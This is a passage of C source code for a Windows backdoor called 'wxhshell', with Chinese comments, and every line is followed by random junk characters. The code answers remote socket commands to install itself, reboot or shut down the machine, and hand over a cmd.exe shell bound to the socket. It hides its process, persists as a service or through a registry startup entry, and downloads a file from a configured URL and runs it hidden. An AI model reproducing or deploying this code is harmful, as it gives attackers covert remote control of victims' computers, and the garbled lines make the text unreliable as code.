      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <  -Nj  
    break; l _:%?4MA  
  } _bX)fnUu  
  // 安装 KjadX&JD  
  case 'i': { c\Dv3bF  
    if(Install()) utr_fFu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); om1 / 9  
    else XL:7$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * XJSa  
    break; i+;E uHf  
    } ]Uu/1TTf  
  // 卸载 |fUSq1//  
  case 'r': { y{&,YV&_h  
    if(Uninstall()) nMhc3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .NKN2  
    else DCj!m<Y&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !>Xx</iD1  
    break; L|<Mtw  
    } {'1,JwSmb  
  // 显示 wxhshell 所在路径 <6@Db$-  
  case 'p': { 9g7T~|P  
    char svExeFile[MAX_PATH]; %^S1 fUwT  
    strcpy(svExeFile,"\n\r"); zSu2B6YU}  
      strcat(svExeFile,ExeFile); Xy._&&pt  
        send(wsh,svExeFile,strlen(svExeFile),0); J8jbtL O'  
    break; 2,+H;Ypi!  
    } 7P  
  // 重启 <t8})  
  case 'b': { 1n^xVk-G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }sFHb[I &  
    if(Boot(REBOOT)) FW2} 9#R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQ;Z 0_  
    else { =6Z 1yw7s  
    closesocket(wsh); [lf[J&}X  
    ExitThread(0); m\(a{x  
    } wegBMRQVp  
    break; zIu1oF4[  
    } H_{Yr+p  
  // 关机 ,D8 Tca\v  
  case 'd': { BEw(SQH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /O9z-!Jz  
    if(Boot(SHUTDOWN)) aa|xZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C-8@elZ1  
    else { YJ6Xq||_  
    closesocket(wsh); <*L8kNykK  
    ExitThread(0); E:2Or~  
    } NunT1ved  
    break; Af;$}P  
    } p|zW2L  
  // 获取shell x`4">:IA  
  case 's': { [8ih-k  
    CmdShell(wsh); o.,hCg)X  
    closesocket(wsh); 8O]$)E  
    ExitThread(0); |q?A8@\u  
    break; c5JxKU_  
  } > B==*,|  
  // 退出 dwRJ0D]&  
  case 'x': { ;*8$BuD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i]P]o)  
    CloseIt(wsh); Na4\)({  
    break; =dPrG=A   
    } +S$x}b'5q  
  // 离开 ]c08`  
  case 'q': { zJPzI{-w|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \QVL%,.%M  
    closesocket(wsh); 8{AzB8xp  
    WSACleanup(); *cf#:5Nl  
    exit(1); SO|$X  
    break; p?5zwdX+`  
        } @>:r'Fmu-  
  } O %OeYO69  
  } "bJWyUb  
tlj^0  
  // 提示信息 ,a}+Jj{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % _N-:.S  
} JMXCyDy;  
  } Wa wOap  
~x2azY2DP  
  return; YM-,L-HMA  
} -Wf 2m6t  
aPRF  
// shell模块句柄 Ay[6rUO  
int CmdShell(SOCKET sock) 8/k* "^3  
{ F8q|$[nH  
STARTUPINFO si; BPW2WSm@<  
ZeroMemory(&si,sizeof(si)); U2;_{n*g%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WmeV[iI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {$Qw]?Yv  
PROCESS_INFORMATION ProcessInfo; W 5-=,t  
char cmdline[]="cmd"; Esd A %`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nBR4j?':i  
  return 0; yN9/'c~  
} Mp}U>+8  
+d<o2n4!  
// 自身启动模式  eGjEO&$  
int StartFromService(void) *5u0`k^j  
{ 'bTtdFvJ  
typedef struct q>t#5Z81  
{ g/eE^o ~;  
  DWORD ExitStatus;  Hi#hf"V  
  DWORD PebBaseAddress; R,8;GS42  
  DWORD AffinityMask; H>% K}Fh  
  DWORD BasePriority; jx J5F3d  
  ULONG UniqueProcessId; nwf(`=TC  
  ULONG InheritedFromUniqueProcessId; "d% o%  
}   PROCESS_BASIC_INFORMATION; w~Aw?75 t  
v#TU7v?~  
PROCNTQSIP NtQueryInformationProcess; N^v"n*M0|  
U<K)'l6#2n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c1Skt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =nG g k}Z  
K9]L>Wj  
  HANDLE             hProcess; ",Mr+;;:[  
  PROCESS_BASIC_INFORMATION pbi; Dc2H<=];  
\<TWy&2&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +xp)la.  
  if(NULL == hInst ) return 0; m9 1Gc?c  
*jM]:GpyoU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^? }-x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UyENzK<%u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MR}=tO  
~7ZWtg;B  
  if (!NtQueryInformationProcess) return 0; \8g'v@$wG  
VX0}x+LJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L xP%o  
  if(!hProcess) return 0; W^k95%zBM  
fS?}(7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \,D>zF  
a]]eQ(xQ  
  CloseHandle(hProcess); 3?5JY;}h>"  
6Z.Fyte  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %vUY|3G  
if(hProcess==NULL) return 0; I'}&s|6  
JV ydTvc  
HMODULE hMod; Q`kV| pjg  
char procName[255]; IK1'" S|  
unsigned long cbNeeded; H%pD9'q~  
2{|Z?3FJ^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SMo nJ;Y  
i]9C"Kw$L  
  CloseHandle(hProcess); $+w:W85B  
T5|e\<l  
if(strstr(procName,"services")) return 1; // 以服务启动 rny(8z%Ck-  
z.lIlp2:  
  return 0; // 注册表启动 =U'!<w<-  
} > 9.%hSy  
AO, o|,#4F  
// 主模块 S#kYPe  
int StartWxhshell(LPSTR lpCmdLine) s@zO`uBc  
{ (1 (~r"4I  
  SOCKET wsl; Uo?4o*}  
BOOL val=TRUE; qF\w#nG  
  int port=0; /z! Tgs4  
  struct sockaddr_in door; r3  qKT  
PzOnS   
  if(wscfg.ws_autoins) Install(); rU+3~|m  
MX? *jYl  
port=atoi(lpCmdLine); ?8N^jjG  
SSxp!E'  
if(port<=0) port=wscfg.ws_port; Jr5dw=B gw  
DSQ2|{   
  WSADATA data; 9TX2h0U?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  LAkBf  
PriLV4?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F Y<Q|Ov  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4M#i_.`z  
  door.sin_family = AF_INET; h+=IxF4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ":0u%E?s  
  door.sin_port = htons(port); 3^[P  
%_."JT$v{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k3K*{"z  
closesocket(wsl); q #mBNe62p  
return 1; 0<7sM#sI!  
} auga`*  
Sl/]1[|mb  
  if(listen(wsl,2) == INVALID_SOCKET) { u@1 2:U$  
closesocket(wsl); 9 ,:#Q<UM  
return 1; k@ <dru  
} BmKf%:l}  
  Wxhshell(wsl); P -NR]f  
  WSACleanup(); VCfHm"'E8  
-0UR%R7q  
return 0; >"8;8Ev  
:s6aFiz  
} A 0v=7 ]  
 9u^M{6  
// 以NT服务方式启动 )X?oBNsj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M6mgJonN|  
{ f"RC(("6W  
DWORD   status = 0; yX4 Vv{g  
  DWORD   specificError = 0xfffffff; /5)*epF+  
ugNt7P,^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |QS3nX<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NB1KsvD{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1Y87_o'd  
  serviceStatus.dwWin32ExitCode     = 0; u?" ="-^  
  serviceStatus.dwServiceSpecificExitCode = 0; "MU-&**  
  serviceStatus.dwCheckPoint       = 0; <pfl>Uf  
  serviceStatus.dwWaitHint       = 0; +: x[cK  
EjL]#,QR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [0EWIdT*b  
  if (hServiceStatusHandle==0) return; =* G3Khz!  
D%~tU70a  
status = GetLastError(); 7mq&]4-G  
  if (status!=NO_ERROR) m^!:n$  
{ d\uN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =WjHf8v;  
    serviceStatus.dwCheckPoint       = 0; Pr1q X5>=  
    serviceStatus.dwWaitHint       = 0; _aR{B-E  
    serviceStatus.dwWin32ExitCode     = status; ulxfxfd  
    serviceStatus.dwServiceSpecificExitCode = specificError; WW+xU0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -=nk,cYn  
    return; u"q5 6}Q?]  
  } &nDXn|  
a M9v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u8T@W}FX  
  serviceStatus.dwCheckPoint       = 0; Asv]2> x  
  serviceStatus.dwWaitHint       = 0; XHekz6_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s EFQ8S  
} @QV0l]H0+  
OL>)SJj5  
// 处理NT服务事件,比如:启动、停止 H.\`(`6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T[ZmD{6l  
{ \?; `_E`j  
switch(fdwControl) ss[`*89  
{ wn.~Dx  
case SERVICE_CONTROL_STOP: n74\{`8]o  
  serviceStatus.dwWin32ExitCode = 0; ]R_R`X?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n9xP8<w8  
  serviceStatus.dwCheckPoint   = 0; Iz1x|EQ  
  serviceStatus.dwWaitHint     = 0; [a04( 2g  
  { i+h*<){X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iI{L>  
  } < mQXS87  
  return; LP6 p  
case SERVICE_CONTROL_PAUSE: l3sF/zkH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |]4!WBK  
  break; _8a;5hS  
case SERVICE_CONTROL_CONTINUE: qS#G7~ur>y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c`soVqT$?  
  break; >=[uLY[aK  
case SERVICE_CONTROL_INTERROGATE: eJ99W=  
  break; Up{[baWF  
}; .Q%Hi7JMi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,c4HicRJ#  
} ~f h  
g3z/yj  
// 标准应用程序主函数 y6nP=g|')>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0n{.96r0R  
{ +b(};(wL  
i'm<{ v  
// 获取操作系统版本 5Jbwl$mZ  
OsIsNt=GetOsVer(); +P^ ;7"H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #7 3pryXV  
{1)A"lQu  
  // 从命令行安装 SI=$s>1  
  if(strpbrk(lpCmdLine,"iI")) Install(); =0pt-FQ  
h+}BtKA  
  // 下载执行文件 /~Y\KOH|  
if(wscfg.ws_downexe) { r,Uk)xa/^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !?nbB2,  
  WinExec(wscfg.ws_filenam,SW_HIDE); hyH[`wiq  
} bZ\R0[0  
s0/O/G?  
if(!OsIsNt) { $D1ha CL  
// 如果时win9x,隐藏进程并且设置为注册表启动 itg_+%^R  
HideProc(); j(=w4Sd_W  
StartWxhshell(lpCmdLine); 5tYo! f  
} (-gomn  
else h^SWb9 1"G  
  if(StartFromService()) `gX|q3K\s  
  // 以服务方式启动 &"^F;z/  
  StartServiceCtrlDispatcher(DispatchTable); --WQr]U/  
else E+aePoU  
  // 普通方式启动 S"cTi[9  
  StartWxhshell(lpCmdLine); m\56BP-AM  
} ?j5V  
return 0; @@AL@.*  
}
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